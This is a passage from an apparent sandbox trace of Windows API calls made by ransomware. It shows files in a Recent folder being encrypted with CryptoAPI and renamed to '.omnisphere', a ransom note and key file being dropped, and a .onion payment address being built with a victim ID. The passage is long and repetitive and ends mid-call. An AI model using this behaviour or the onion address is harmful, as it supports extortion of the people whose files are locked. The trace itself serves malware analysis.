pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.546] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.547] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.548] CryptDestroyKey (hKey=0x1639b68) returned 1 [0119.548] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.548] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.548] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.549] GetProcessHeap () returned 0x1600000 [0119.549] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16bdfd0 [0119.549] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\apnyzybrx3yqn-jqgl2q.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\apnyzybrx3yqn-jqgl2q.lnk.omnisphere")) returned 1 [0119.550] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere.id" [0119.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\apnyzybrx3yqn-jqgl2q.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.551] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.552] CloseHandle (hObject=0x3c0) returned 1 [0119.553] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.553] CloseHandle (hObject=0x288) returned 1 [0119.553] SetEndOfFile (hFile=0x28c) returned 1 [0119.553] FlushFileBuffers (hFile=0x28c) returned 1 [0119.561] CloseHandle (hObject=0x28c) returned 1 [0119.561] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aPnyZYbrX3YqN-JqGl2Q.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.561] GetProcessHeap () returned 0x1600000 [0119.561] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be2a0 [0119.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.561] GetProcessHeap () returned 0x1600000 [0119.561] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2158 [0119.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2158, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.561] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.561] GetProcessHeap () returned 0x1600000 [0119.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afc08 [0119.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afc08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.562] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.562] GetProcessHeap () returned 0x1600000 [0119.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2d18 [0119.562] PathCombineW (in: pszDest=0x16a2d18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.562] GetProcessHeap () returned 0x1600000 [0119.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b3fa8 [0119.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.562] WriteFile (in: hFile=0x28c, lpBuffer=0x16b3fa8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b3fa8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.562] CloseHandle (hObject=0x28c) returned 1 [0119.563] GetProcessHeap () returned 0x1600000 [0119.563] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be2a0 | out: hHeap=0x1600000) returned 1 [0119.563] GetProcessHeap () returned 0x1600000 [0119.563] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.563] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.563] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.563] CloseHandle (hObject=0x28c) returned 1 [0119.564] GetProcessHeap () returned 0x1600000 [0119.564] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.564] GetProcessHeap () returned 0x1600000 [0119.564] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0119.564] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e37cb8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22e37cb8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22e37cb8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Ar6kH-cK.lnk", cAlternateFileName="")) returned 1 [0119.564] GetProcessHeap () returned 0x1600000 [0119.564] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656388 [0119.564] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Ar6kH-cK.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk" [0119.564] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ar6kH-cK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ar6kh-ck.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.564] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=944) returned 1 [0119.564] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.565] GetTickCount () returned 0x115de08 [0119.566] GetTickCount () returned 0x115de08 [0119.566] GetTickCount () returned 0x115de08 [0119.566] GetTickCount () returned 0x115de08 [0119.566] GetTickCount () returned 0x115de08 [0119.566] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0119.566] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.566] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.567] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.567] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0119.567] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x288 [0119.567] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x1480000 [0119.567] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0119.568] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0119.568] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.568] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.569] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 